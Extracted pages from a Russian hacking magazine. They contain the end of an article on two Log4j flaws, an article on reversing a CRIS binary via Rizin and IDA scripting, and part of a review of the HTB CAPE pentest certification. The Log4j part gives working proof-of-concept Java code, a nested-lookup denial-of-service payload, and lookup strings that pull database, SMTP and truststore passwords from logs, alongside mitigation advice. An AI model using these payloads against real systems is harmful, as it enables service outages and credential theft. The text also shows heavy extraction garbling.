1024 Кбайт (по умол ‐
чанию)

3000 27 Кбайт

1 Гбайт (мак симум) 18 000 162 Кбайт

Ïðèìåð ýêñïëîèòà
Код для про вер ки воз можнос ти экс плу ата ции:

 import org.apache.logging.log4j.LogManager;

   public class Test {
        public static void main(String[] args) {
        int rounds = 100;
         String payload = "${lower:".repeat(rounds) +

                       "${java:runtime}" +
                      "}".repeat(rounds);
       System.out.println("Payload size: " + payload.length());
     LogManager.getRootLogger().error(payload);
    }
}

Продолжение статьи →
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https://github.com/apache/logging-log4j2/blob/rel/2.14.1/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java#L420
https://nvd.nist.gov/vuln/detail/CVE-2021-45105


РАЗБИРАЕМ ДВЕ УЯЗВИМОСТИ,
ОСТАВШИЕСЯ В ТЕНИ

ВЗЛОМ  НАЧАЛО СТАТЬИ

При мер пей лоада:

${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${
lower:${lower:${lower:${lower:${java:
runtime}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}

В обыч ной вер сии внут ренний поиск ( ) вер нет информа цию

о сбор ке JVM, а внеш ние поис ки ( ) прев ратят эту инфу в ниж -

ний регистр. Вот так:

${java:runtime}
${lower:xxx}

Payload size: 915
22:25:59.991 [main] ERROR  - openjdk runtime environment (build 
17.0.7+7-lts)

Но если у тебя Java с недос татком памяти и уяз вимой вер сией Log4j, все нак -
роет ся мед ным тазом при мер но так:

Payload size: 915
Exception in thread "main" java.lang.StackOverflowError 
at java.base/java.lang.AbstractStringBuilder.checkRangeSIOOBE(AbstractSt
ringBuilder.java:1809) 
at java.base/java.lang.AbstractStringBuilder.getChars(AbstractStringBuil
der.java:508) 
at java.base/java.lang.StringBuilder.getChars(StringBuilder.java:91) 
at org.apache.logging.log4j.core.lookup.StrSubstitutor.getChars(StrSubst
itutor.java:1401) 
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSub
stitutor.java:939) 
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSub
stitutor.java:912) 
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSub
stitutor.java:978) 
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSub
stitutor.java:912) 
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSub
stitutor.java:978)

ÓßÇÂÈÌÎÑÒÜ 2: ÓÒÅ×ÊÀ ÄÀÍÍÛÕ

Ока залось, что JNDI-зап росы — нас тоящие бом бы замед ленно го дей ствия,
но это все го лишь один из мно гих типов зап росов, которые дос тупны в Log4j.
Исправ ления для уяз вимос ти Log4Shell отклю чают интерпо ляцию зап росов
в логах, одна ко в вер сиях до 2.15 все еще дос тупны все типы зап росов.

Да же сегод ня в пос ледних вер сиях зап росы мож но исполь зовать в кон -
фигах — и это отно сит ся к самым све жим вер сиям Log4j (пос коль ку дос туп
к нас трой кам не вхо дит в модель угроз про екта). Более того, зап росы оста -
ются дос тупны ми, даже если класс JndiLookup уда лен (это было рекомен -
дован ным спо собом миними зации угро зы без обновле ния биб лиоте ки).

В этих трех сце нари ях (вер сии до 2.15, вер сии с уда лен ным клас сом
JndiLookup и любые вер сии с дос тупом к кон фигам) дру гие типы зап росов все
еще активны и могут слить информа цию о сис теме.

В Log4j дос тупны сле дующие типы под ста новок (под робнее мож но
почитать в ):до кумен тации

Пат терн Опи сание Пат терн Опи сание

${bundle:xxx:
xxx}

Ре сур сные бан ‐
длы

${log4j:xxx} Нас трой ки Log4j

${ctx:xxx} Кар та кон тек ста
потока

${lower:xxx} Пре обра зует
в ниж ний регистр

${date:xxx} Да та/вре мя ${main:xxx} Ар гумен ты
для исполня емых
фай лов / main()

${docker:xxx} Ат рибуты Docker ${map:xxx} По иск по кар те

${env:xxx} Пе ремен ные
окру жения

${marker:xxx} Мар керы

${event:xxx} По ля объ екта
события в логе

${spring:xxx} Свой ства Spring

${java:xx} Ин форма ция
о Java runtime

${sd:xxx} Струк туриро ван ‐
ные дан ные

${jndi:xxx} Уда лен ные
вызовы JNDI

${sys:xxx} Свой ства сис ‐
темы

${jvmrunargs:
xxx}

Ар гумен ты JVM
(толь ко JMX)

${upper:xxx} Пре обра зует
в вер хний
регистр

${k8s:xxx} Ин форма ция
о кон тей нере
Kubernetes

${web:xxx} Пе ремен ные/
атри буты кон тек ‐
ста сер вле та

Мно гие дос тупные фун кции поис ка воз вра щают такие дан ные, как перемен -
ные окру жения, сис темные свой ства, Spring-парамет ры, информа ция
о выпол нении, сек реты и тому подоб ное. Такие шту ки, как атри буты выпол -
нения, могут исполь зовать ся для началь ной раз ведки. Но есть нюанс: боль -
шинс тво из них не под держи вает под ста новоч ные зна ки — нуж но точ но знать
имя перемен ной или свой ства, которое ты хочешь вытащить.

Что бы про читать информа цию из этих зап росов, нужен дос туп к логам.
Таким обра зом, зло умыш ленник не смо жет про вер нуть ата ку всле пую. Ситу -
ации, ког да дос туп воз можен, — это, нап ример, сооб щения об ошиб ках
или облачные/SAAS-при ложе ния, где поль зовате ли могут смот реть логи.

При мер такого сце нария

Ïðèìåð ýêñïëóàòàöèè
В таб лице — при меры полез ных наг рузок.

Шаб лон Опи сание

${env:POSTGRES_PASSWORD} Па роль от Postgres, который хра нит ся
в перемен ной сре ды

${log4j:log4j2.
trustStorePassword}

Па роль хра нили ща клю чей из свой ств
Log4j

${spring:spring.mail.
password}

Па роль SMTP из Spring

${docker:containerName} Имя кон тей нера в Docker

${k8s:masterUrl} URL мас тера Kubernetes

${java:runtime} Ин форма ция о сре де выпол нения JVM

Код для про вер ки экс пло ита:

 import org.apache.logging.log4j.LogManager;

   public class Test2 {
        public static void main(String[] args) {
        String payload = "${java:runtime}";
     LogManager.getRootLogger().error(payload);
   }
}

В обновлен ной вер сии такой лукап работать не будет: по умол чанию все зап -
росы отру бают ся, так что на выходе получишь толь ко сле дующее сооб щение:

> javac -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar Test2.
java> java -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar:. Test2
12:39:48.062 [main] ERROR  - ${java:runtime}

В уяз вимой вер сии Log4j мож но с помощью спе циаль ного лукапа вытащить
инфу о сис теме:

> javac -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Test2.
java> java -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar:. Test2
12:39:19.843 [main] ERROR  - OpenJDK Runtime Environment (build 17.0.
8+7-LTS)

ÎÒÂÅÒ ÏÐÎÈÇÂÎÄÈÒÅËß

Apache и про ект Log4j зас ветили эту проб лему еще в сен тябре 2022-го
с выходом вер сии Log4j 2.19 — через обновле ние стра ницы безопас ности
(  и ). Раз работ чики Log4j соч -
ли ее частью  и , а так же учтенной в прош лых
релизах, так что новых CVE уяз вимос тям не выдава ли и код не меняли.
На момент написа ния этой статьи (июнь 2025-го) опи сания CVE еще не пол -
ностью обновле ны в базе NVD/CVE, но уже есть на стра нице безопас ности
Log4j. А вот пре дыду щая инфа о том, как убрать класс JndiLookup, с этой
стра ницы исчезла.

вот архив со стра ницы безопас ности ап дейт в Git
CVE-2021-45046 CVE-2021-44228

Мно гие вен доры, исполь зующие Log4j в сво их
про дук тах, гром ко заяв ляли, что убра ли класс
JndiLookup для защиты. Но если они не переш ли
на новые вер сии, то их софт еще уяз вим к проб -
лемам, опи сан ным в этой статье. Да и пос ледние
вер сии не спа сают, если кто-то име ет дос туп
к кон фигам Log4j.

ÓßÇÂÈÌÛÅ ÂÅÐÑÈÈ È ÑÏÎÑÎÁÛ ÇÀÙÈÒÛ

Под уда ром ока зались сле дующие вер сии Log4j:
Все вер сии Log4j v2 до v2.15, кро ме v2.12.2-4 (Java 7) и v2.3.1-2 (Java 6).•
В v2.15, v2.12.2 (Java 7) и v2.3.1 (Java 6) поиск в логах по умол чанию отклю -
чен, но его мож но акти виро вать сно ва. Если сно ва вклю чить поиск
или исполь зовать кон текс тные поис ки (CVE-2021-45046), то эти вер сии
уяз вимы.

•

Вер сии от v2.16+, v2.12.3+ (Java 7) и v2.3.2 (Java 6) оста ются уяз вимыми,
 пре дос тавлен дос туп к кон фигура цион ным фай лам.

•
åñ ëè

Log4j v1 не под вержен уяз вимос ти, кро ме слу чаев, ког да исполь зует ся
JMSAppender (см. ).

•
CVE-2021-4104

Поль зовате лям сто ит обно вить ся до вер сии, которая пол ностью отклю чает
обра щения к логам, — это v2.16+, v2.12.3 (для Java 7) или v2.3.2 (для Java 6).
Так же не забудь обно вить инс тру мен ты вро де WAF и IDS-сис тем, что бы они
отсле жива ли подоз ритель ные шаб лоны и быс тро выяв ляли такие проб лемы.

Ес ли ты не можешь обно вить ся, то преж ние рекомен дации раз работ чика
не спа сут от этих багов. И хотя теоре тичес ки мож но отка тить сущес тву ющие
пат чи, что бы отклю чить лукапы, это го луч ше не делать. Про чие пуб личные
зап латки, вро де упо мяну того выше Java hotpatch agent, эти проб лемы тоже
не реша ют.

Дос туп к кон фигам Log4j луч ше в кор не пре сечь — лукапы все еще работа -
ют в кон фигах, и это может стать лазей кой для атак. Прав да, с фев -
раля 2023 года, как заяви ли в Apache, наход ки, свя зан ные с дос тупом к кон -
фигура ции Log4j, боль ше не счи тают ся уяз вимос тями. Но это не зна чит, что
мож но рас сла бить ся!

https://logging.apache.org/log4j/2.x/manual/lookups.html
https://web.archive.org/web/20220924170446/https%3A//logging.apache.org/log4j/2.x/security.html
https://github.com/apache/logging-log4j2/commit/9c13b8bbac92db5d05dae15cd40dfcc42bf0276f#diff-457dbda9d8c4b5152ba13997c3266a1df6508a850065771a7f0b764ea9375f60
https://nvd.nist.gov/vuln/detail/CVE-2021-45046
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://nvd.nist.gov/vuln/detail/CVE-2021-4104
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ВЗЛОМ

IDA — вещь удоб ная, но далеко не все силь -
ная. Что делать, если тебе попал ся бинар -
ник под экзо тичес кий про цес сор вро де
CRIS, а IDA лишь раз вела руками? В этой
статье мы раз берем ся, как ревер сить такой
код с минималь ными зат ратами вре мени
и нер вов, не конс тру ируя собс твен ный
дизас сем блер и не собирая модуль
для IDA, а нем ного схит рив — и все рав но
получив дос той ный резуль тат.

В сво их стать ях я ред ко уде ляю вни мание необыч ным про цес сорам. Боль -
шинс тво иссле дова телей уве рены, что IDA всег да зна ет целевой про цес сор
как род ной, ну или его хотя бы мож но заменить ана логич ным, сис тему команд
которо го IDA уж точ но понима ет. К сожале нию, это сов сем не акси ома, IDA
не все силь на, а в мире сущес тву ет и активно исполь зует ся мно жес тво про -
цес соров, о которых эта прог рамма до сих пор не име ет ни малей шего пред -
став ления и нав ряд ли ког да-либо вклю чит их под дер жку.

Но ведь работать с ними как-то надо! Как вык рутить ся прос тому хакеру
без столь удоб ного инс тру мен та, кажуще гося незаме нимым? Поп робу ем
разоб рать все мытарс тва, ожи дающие его на этом тер нистом пути.

Итак, усло вие задачи: дана некая биб лиоте ка, опре делен ные воз можнос ти
которой нам нуж но пос тичь и ревер сировать. Как обыч но, для начала заг -
ружа ем ее в Detect It Easy.

Сра зу замеча ем нелад ное: тип про цес сора — 32-бит ный CRIS — нам отро -
дясь не встре чал ся. Про буем дизас сем бли ровать биб лиоте ку в IDA.

IDA вро де сог лаша ется с DIE: тип фай ла ука зан как ELF for CRIS, одна ко пред -
лага емый по умол чанию тип про цес сора (MetaPC) нас торажи вает. Тем более
никако го CRIS в спис ке под держи ваемых IDA про цес соров и близ ко нет.
Естес твен но, сле дом выс какива ет ошиб ка.

Что такое тип 76, в прин ципе, понят но — мгно вен но нагуг лив спе цифи кацию
хидера ELF, мы находим его рас шифров ку:

EM_CRIS 76  Axis Communications 32-bit embedded processor

Се мей ство доволь но извес тное и широко исполь зуемое в узких кру гах: обыч -
но под этим типом под разуме вают 

. Само сло во CRIS — это тип архи тек туры подоб ных про цес -
соров, оно явля ется сок ращени ем от Code Reduced Instruction Set, что
перево дит ся как «набор инс трук ций с сок ращен ным кодом».

про цес соры ETRAX фир мы Axis
Communication

Этот набор инс трук ций заяв лен как под мно жес тво инс трук ций RISC, одна -
ко при попыт ке выбора в IDA любого из похожих типов (да и вооб ще любого
под держи ваемо го IDA типа) осмыслен ного кода получить не уда ется.

Поп робу ем эмпи ричес ки про верить, что все-таки у нас за про цес сор и как
рас кодиро вать его инс трук ции. Google показы вает нам спе цифи кацию
похоже го CRIS-про цес сора . Пос мотрим, соот ветс тву ют ли
инс трук ции нашего про цес сора ука зан ной спе цифи кации.

AXIS ETRAX 100LX

Для это го поп робу ем рас кодиро вать пер вую инс трук цию 

со скрин шота выше, опи раясь на най ден ную спе цифи кацию. Сог ласно ей,
поч ти все инс трук ции это го про цес сора име ют дли ну 16 бит (Dword). Соот -
ветс твен но, рас кодиру емое зна чение будет . В битовом виде

это будет выг лядеть так:

_init_proc

0xE284

1110 0010 1000 0100

В раз деле 3 INSTRUCTIONS IN ALPHABETICAL ORDER нашей спе цифи кации
при лага ются побито вые рас шифров ки каж дого клас са инс трук ций это го про -
цес сора. Изрядно пома явшись, мы находим инс трук цию, под ходящую
под нашу битовую мас ку, .subq

Ес ли верить спе цифи кации, это опе рация быс тро го вычита ния 6-бит ной чис -
ловой кон стан ты из регис тра. Кон стан та опре деля ется млад шими шестью
битами и в нашем слу чае рав на . Регистр  же — стар шие 4 бита

, что соот ветс тву ет ука зате лю сте ка . То есть пол ная мне мони ка

нашей коман ды  (перемес тить ука затель сте ка на 4 бай та вверх)

впол не похожа на исти ну — обыч но так начина ется стан дар тный вход в про -
цеду ру с резер вирова нием пула локаль ных перемен ных. Спе цифи кация,
похоже, рабочая, но не будем же мы покоман дно рас шифро вывать нес коль ко
сот килобайт кода? Жизнь слиш ком корот ка для подоб ных чел лен джей, надо
как-то авто мати зиро вать про цесс.

00100b=4 Rd
1110b=14 sp

subq 4, sp

Ес ли ты по жиз ни мак сималист и обла даешь неог раничен ным запасом
сво бод ного вре мени при пол ном отсутс твии дру гих инте рес ных задач, мож но
сде лать собс твен ный уни каль ный дизас сем блер-деком пилятор, осно выва ясь
на нагуг ленной спе цифи кации. Я не осуж даю подоб ное решение, у него мно -
жес тво плю сов — мож но пот рениро вать ся в пар синге и глуб же понять прин -
цип дей ствия про цес сора. В кон це кон цов, это поз волит соз дать новый,
единс твен ный в сво ем роде гит хабов ский про ект, на который потом мож но
наращи вать новые фай ловые фор маты и про цес сорные архи тек туры. Его
не стыд но будет положить в пор тфо лио и пуб ликовать о нем статьи
на «Хакере» и про чих умных ресур сах.

Но цель нашей сегод няшней статьи сов сем дру гая — выб рать путь,
который поз волит быс тро и наимень шими уси лиями ревер сировать фраг мент
кода ред кого (и уже вин тажно го) про цес сора. А писать под такое собс твен -
ный деком пилятор — это, изви няюсь за неп рилич ное срав нение, все рав но
что выкупать гек тар тай ги и стро ить на нем бумаж ный завод для того, что бы
скас товать рулон туалет ной бумаги.

Поп робу ем миними зиро вать задачу — у нас име ется IDA, которая уже уме -
ет раз бирать (и успешно разоб рала) фор мат ELF со все ми его стро ками, фун -
кци ями, импорти руемы ми-экспор тиру емы ми сим волами и про чими ниш -
тяками. Нам не хва тает толь ко одно го: пар синга ассем блер ных инс трук ций.

С дру гой сто роны, IDA рас ширя ема, к ней впол не мож но написать свой
про цес сорный модуль. Ты, веро ятно, зна ешь, что IDA поз воля ет писать 

. Задача эта, хоть и полег че раз работ ки собс твен ного деком пилято ра
с нуля, тоже весь ма неп ростая.

свои
пла гины

Ес ли ты собира ешь ся ком пилиро вать собс твен ный натив ный про цес -
сорный модуль для IDA, слож ности начина ются уже на эта пе получе ния Hex-
Rays SDK под нуж ную (а надо ска зать, что вер сии SDK доволь но сла бо сов -
мести мы друг с дру гом) вер сию дизас сем бле ра — это весь ма неп рият ный
квест. Затем нач нутся слож ности с ком пилято ром С++, потому что далеко
не каж дый из них спра вит ся с этим нелег ким делом. Поэто му нуж но заранее
готовить бубен поболь ше.

Раз работ чики IDA явно рас счи тыва ли на прод винутую хакер скую ауди -
торию, поэто му, что бы не разоча ровы вать ее, сде лали этот путь мак сималь но
хар дкор ным, вдо бавок прак тичес ки не при ложив к нему тол ковой докумен -
тации. Впро чем, раз работ чики сто рон них пла гинов написа ли мно жес тво ста -
тей об этом: нап ример, статью с говоря щим наз вани ем 

, « »
или « ».

Writing an IDA
Processor Module До бав ление нового семей ства про цес соров в IDA pro

Раз рабаты ваем про цес сорный модуль NIOS II для IDA Pro
От сутс твие SDK мож но ком пенси ровать, заменив натив ный пла гин

питонов ским скрип том. Да, так тоже мож но, и под твержде нием тому слу жат
сле дующие ссыл ки.

•Scriptable Processor modules
•RISC-V for IDA
•ida-loongson

Я мог бы пой ти по тому же пути и начать рас ска зывать, как самому написать
про цес сорный модуль под IDA уже для CRIS, но сегод няшняя статья не об
этом. Во-пер вых, как я уже говорил, даже такой путь при всей сво ей общес -
твен ной полез ности все-таки дос таточ но сло жен. Я же обе щал обзорную
статью о поис ке наибо лее прос того пути ревер са опре делен ного бло ка кода,
а не руководс тво по написа нию собс твен ного дизас сем бле ра даже в рам ках
эко сис темы IDA.

А во-вто рых, бег лый гуг линг показы вает, что эту задачу девять лет назад
уже . Если ты был столь нетер пелив, что, не дочитав
это пред ложение до кон ца, успел най ти SDK под вер сию IDA 7.2 и начал
собирать про ект, то, веро ятно, заметил, что он не ком пилиру ется. Поп робу ем
разоб рать ся, почему так про исхо дит и вооб ще нуж но ли нам это всё. Про -
верять будем по уже обка тан ной выше схе ме — на пер вой инс трук ции

 (интер пре тиро ван ной нами как ). Откро ем
модуль ана лиза инс трук ций :

про бова ли решать до нас

_init_proc 0xE284 subq 4, sp
ana.cpp

/* Analyze the current instruction.  */

    int idaapi ana( void )
{
  /* temporary buffer */
    unsigned char buffer[2];

  /* Result of decoder.  */
   CRIS_INSN_TYPE itype;

   CGEN_INSN_WORD insn;
   CGEN_INSN_WORD entire_insn;
   ea_t pc;
     get_data_value(cmd.ea, (uval_t *)buffer, 2);
     insn = get_insn_value(buffer, 16);
     entire_insn = get_insn_value(buffer, 16);
    pc = cmd.ea;
  {

    {
                unsigned int val = (((insn >> 4) & (255 << 0)));

       switch (val)
      {

         case 0 : /* fall through */
         case 1 : /* fall through */

      ...

Мы видим, что ана лиз реали зован сле дующим обра зом: из 16-бит ной коман -
ды выбира ются сред ние 8 байт (с 4-го по 11-й вклю читель но) и по ним дела -
ется длин ный . Мас ка нашей иско мой коман ды — , пос -
мотрим, как она обра баты вает ся в этом коде:

switch 0x28=40

...
         case 40 : /* fall through */
         case 41 : /* fall through */
         case 42 : /* fall through */
             case 43 : itype = CRIS_INSN_SUBQ; goto extract_sfmt_addq;

...

В прин ципе, все соот ветс тву ет нашей спе цифи кации: коды 40–43 соот ветс -
тву ют инс трук ции , одна ко даль ше начина ется самое инте рес ное — мет -

ка перехо да  отсутс тву ет в дан ном модуле, да и во всем

про екте. Код явно неполон.

SUBQ
extract_sfmt_addq

Сно ва обра тив шись к гуг лу, мы вне зап но обна ружи ваем 
. Если пом нишь, отладчик этот мы обсужда -

ли в недав ней статье «
». Похоже на то, что автор выше упо мяну того недоп лагина

брал этот код за осно ву и час тично перенес его в про ект, но ока зал ся недос -
таточ но усид чив, дабы закон чить начатое. Ты впол не можешь закон чить про -
ект за него на досуге, но сей час у нас нет на это вре мени: про дол жаем искать
более прос тые пути.

пол ный код
в исходни ках GNU-отладчи ка GDB

От ладка по хар дко ру. Ревер сим ARM-при ложе ние
для QNX в QEMU

Кста ти, GDB и QEMU могут быть одним из воз можных решений! В 
 реали зован аль тер натив ный под ход к пар сингу и декоди рова нию

инс трук ций CRIS. Его тоже мож но исполь зовать при написа нии собс твен ного
деком пилято ра, и он, на мой взгляд, более вме няемый. А мож но най ти образ
«Линук са» под эту плат форму с нуж ными ути лита ми и поп робовать деком -
пилиро вать наш ELF-модуль пря мо из него, нап ример через тот же GDB
или objdump.

ис ходни -
ках QEMU

К сожале нию, при кажущей ся прос тоте лич но у меня этот спо соб забук -
совал уже на эта пе поис ка QEMU и обра за сис темы под дан ную плат форму —
все-таки это изрядная экзо тика. Воз можно, тебе повезет боль ше, мы же про -
дол жаем даль ше поиск более прос тых путей решения пос тавлен ной задачи.

Ока зыва ется, наш про цес сор есть в спис ке под держи ваемых у 
. Для удобс тва рас смот рим осно ван ный на этом

фрей мвор ке набор . Сра зу пре дуп реждаю:
это не милая и удоб ная IDA, это суровый юник соподоб ный дизас сем блер —
отладчик коман дной стро ки вро де GDB. При чем если у GDB инту итив ность
интерфей са пер пенди куляр на логике здо рово го челове ка, то у Rizin логика
работы при мер но уров ня каких-нибудь разум ных гри бов с далекой пла неты,
враж дебных все му челове чес тву.

ре -
верс-фрей мвор ка Radare2

инс тру мен тов для ревер са Rizin

Ну, нап ример, в ком плект пос тавки вхо дит 
, но она уме ет дизас сем бли ровать толь ко код,

вве ден ный в тек сто вой шес тнад цатерич ной стро ке, да и то не пол ностью.
У это го инс тру мен та даже есть GUI — cutter, который наконец-то дизас сем -
бли ровал нашу мно гос тра даль ную биб лиоте ку в нор маль ном виде.

кон соль ная ути лита ассем бле -
ра/дизас сем бле ра rz-asm.exe

Но поль зовать ся таким дизас сем бле ром для ревер са чудовищ но неудоб но —
нет даже перехо да по ссыл кам. Да что там говорить, вне зап но ока залось, что
авто рам дизас сем бле ра выг рузка дизас сем бли рован ного кода в тек сто вый
файл совер шенно не нуж на. «Экспор тировать как код» в их пред став лении —
выг рузка в мас сив бай тов почему-то в фор мате нес коль ких мало извес тных
язы ков прог рамми рова ния. При чем через клип борд код мож но копиро вать
толь ко мел кими час тями, поэто му пос ле дол гого чте ния ману алов мне таки
уда лось выг рузить код из кон соли в тек сто вый файл вот таким кол дун ским
зак линани ем:

pd 100000 @ 0x000817d8 >> test.asm

Сде лал я это потому, что мне хотелось пос корее покинуть это порож дение
тем ного разума и как-то заг нать получен ный ассем блер ный лис тинг в при -
выч ную и удоб ную IDA, что бы про дол жить ана лиз в более ком фор тной обста -
нов ке.

Пос коль ку нам лениво пол ностью опи сывать целевой про цес сор со все ми
его коман дами и регис тра ми, поп робу ем смух левать: пред ста вим весь
дизас сем бли рован ный IDA код как сырой мас сив сле пых дан ных и заново
раз метим его ком мента риями из получен ного ассем блер ного лис тинга.
Для это го сно ва обра тим ся к питонов ско му скрип тингу. Фор мат нашего лис -
тинга выг лядит так:

            ;-- section..init:
            0x000817d8      subq  4, 
sp                                ; [09] -r-x section size 40 named .
init
            0x000817da      move.d r1, [sp]
            0x000817dc      move  srp, r1
            0x000817de      push  r0
            0x000817e2      move.d pc, r0
            0x000817e4      sub.d 0xfffabc8c, r0
            0x000817ea      jsr   0x000821b2
       │    0x000817f0      jsr   0x000be7c0
       ││   0x000817f6      pop   r0
       ││   0x000817f8      move  r1, srp
       ││   0x000817fa      pop   r1
       ││   0x000817fc      
ret                                        ; 0xe2041d0b
       ││   0x000817fe      nop
       ││   ;-- section..plt:
       ││   0x00081800      push  dcr1/
mof                             ; [10] -r-x section size 2320 named .
plt
       ││   0x00081804      move  [0x000d5b5c], dcr1/
mof               ; 0x157360
       ││   0x0008180c      jump  [
0x000d5b60]                         ; 0x15736c
       ││   ;-- read:
       ││   0x00081814      jump  [
0x000d5b64]                         ; 0x157378
...

На пишем прос тень кий скрипт, пос троч но чита ющий файл, выделяя из каж дой
стро ки адрес и соот ветс тву ющее ему опи сание инс трук ции, которое в ито ге
будет ком менти ровать дан ные по это му адре су в IDA:

 import ida_bytes

# Для начала очищаем весь код от неправильно дизассемблированного 
IDA мусора

  address_to_undefine = 0x817D8
  size_to_undefine = 0xD60F8

   for i in range(address_to_undefine,size_to_undefine):
      ida_bytes.del_items(i)

      with open("test.asm","r") as file: # Открываем файл листинга
     for line in file:                  # и читаем его построчно
    rows=line.split()                # Разбиваем считанную строку на 
слова, разделенные пробелами
    k=-1
         if rows[0].startswith("0x0"): # Шестнадцатеричный адрес в 
первом слове?
      k=0;
       elif rows[1].startswith("0x0"): # А может, во втором?
      k=1;
     if k>=0:                         # Если он вообще там есть

       Ofs=int(rows[k], 16)           # Преобразуем его в число
      comment=""

          for i in range(k+1,len(rows)): # Объединяем все следующие за 
ним слова в единую строку комментария
       comment+=" "+rows[i]

       ida_bytes.create_16bit_data(Ofs,2) # В основном команды 
16-битные

        idc.set_cmt(Ofs, comment, 1)       # поэтому комментируем 
первое 16-битное слово по считанному адресу

За пус тив этот скрипт, мы получа ем сле дующий ком менти рован ный код.

Ко неч но, это не такой иде аль ный исходник, как живой код, получен ный
при чес тном дизас сем бли рова нии собс твен ным про цес сорным модулем.
Более того, виден резуль тат мух лежа с дли ной коман ды: часть команд
все-таки длин нее 16 бит, и эти мес та выг лядят как дыр ки в коде, режущие
взгляд истинно го пер фекци онис та. Которо му я и пре дос тавляю пра во самос -
тоятель но поп равить код скрип та так, что бы ком менти рова лось имен но то
количес тво бай тов, которое соот ветс тву ет дан ной коман де.

А мы, собс твен но, добились сво ей цели — малой кровью затащи ли дизас -
сем бли рован ный код в удоб ный инс тру мент для ревер са, в котором этот
самый код гораз до удоб нее ана лизи ровать, чем в cutter. Я, разуме ется,
не пре тен дую на опти маль ное решение задачи: воз можно, кому-то из читате -
лей боль ше пон равит ся какой-то дру гой спо соб из ранее упо мяну тых. Но сво -
бода выбора всег да оста ется за тобой.
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ВЗЛОМ

Не дав но я завер шил курс и успешно сдал
экза мен 

. В этой статье я
поделюсь сво ими впе чат лени ями и рас ска -
жу, что тебя ждет на пути к этой сер тифика -
ции, если ты тоже пла ниру ешь ее заполу -
чить.

HTB Certied Active Directory
Pentesting Expert (CAPE)

HTB (Hack The Box) — популяр ная пло щад ка с лабора тор ными работа ми,
которые помога ют отта чивать прак тичес кие навыки в области пен тестин га
в приб лижен ных к реаль ным усло виях. Учас тни ки зах ватыва ют фла ги на вир -
туаль ных машинах раз ного уров ня слож ности. В про цес се нуж но искать уяз -
вимос ти в веб-при ложе ниях, при менять навыки ревер синга и эска лации при -
виле гий в Linux и Windows. Мы регуляр но пуб лику ем 

.
про хож дения машин

с Hack The Box

HTB CAPE — это чис то прак тичес кая шту ка. Тут не прос то учат, а реаль но про -
веря ют, как ты усво ил матери ал. Экза мен — это стенд с 10+ машина ми, нес -
коль кими домена ми и раз ным уров нем доверия меж ду ними. В общем, все
как в реаль ной жиз ни.

ÍÀ ×ÅÌ ÑÔÎÊÓÑÈÐÎÂÀÒÜÑß ÏÅÐÅÄ ÝÊÇÀÌÅÍÎÌ

Вот нес коль ко тем, которые реаль но сто ит под тянуть перед сда чей (вся кие
инте рес ные шту ки типа SCCM и WSUS на экза мене не встре чают ся, так что их
я опус каю):

 — тун нелей будет мно го, готовь ся стро ить их из каж дого домена.

Я исполь зовал chisel, но мож но и Ligolo или встро енные фичи C2. Кста ти,
на экза мене выда ют вир туал ку (Parrot OS), и ее нас трой ки надо под пра -
вить, что бы проб рос пор тов зарабо тал.

• Pivoting

 — уме ние пря тать свои имплан ты — это твой билет к успе ху.
Тебя ждут все пре лес ти Windows Defender, AMSI, AppLocker и про чее. Тес -
тируй на акту аль ных вер сиях Defender, что бы не было сюр при зов. Я решал
с  — мне заш ло, проб лем не было. Он обла дает удоб ным и инту -
итив но понят ным GUI, рас ширен ным набором воз можнос тей, который
попол няет ся от вер сии к вер сии (новые BOF, новые аген ты, пивотинг внут -
ри C2 и тому подоб ное), так же его аген ты не детек тиру ются на экза мене.

• AV Evasion

Adaptix C2

 — будут на экза мене, так что готовь ся.• Àòà êè íà Microsoft SQL

 — без Rubeus, Mimikatz, RunasCs, SharpHound, Impacket и про чих

никуда. Если не уме ешь обра щать ся с ними, луч ше пот ренируй ся заранее.

• Óòè ëèòû

 — это му в кур се и на экза мене уде ляют кучу вре -

мени. На пути к цели может встре тить ся как одна уяз вимость, так и цепоч ка
из 3–4 ACL.

• ACL Misconfiguration

 — уме ние работать с коман дле тами и модуля ми PowerShell

при годит ся для самых раз ных задач.

• PowerShell

 — тут все как обыч но: от Living off the Land до ути лит

семей ства Potato или экс плу ата ции CVE.

• Privilege Escalation

Ко все му про чему запасай ся тер пени ем и готовь ся писать отчет на 120 стра -
ниц. Нуж но рас писать всю цепоч ку атак, при ложить скрин шоты и опи сать уяз -
вимос ти в фор мате CWE / Security Impact / рекомен дации. Чес тно, это самая
нуд ная часть, но я упростил себе жизнь бла года ря ChatGPT (HTB при нима ет
такие опи сания, если их нем ного под пра вить).

ÑÊÎËÜÊÎ ÑÒÎÈÒ È ÑÒÎÈÒ ËÈ ÎÍÎ ÒÎÃÎ?

Курс сто ит 1260 дол ларов США. В эту цену вхо дит ваучер на сда чу экза мена
(дей ству ет год) и годовая под писка на HTB Academy. По-моему, цена впол не
адек ватная, осо бен но если срав нивать с кур сами Offensive Security. За эти
день ги ты получа ешь дос туп поч ти ко всем модулям «Ака демии» — и для
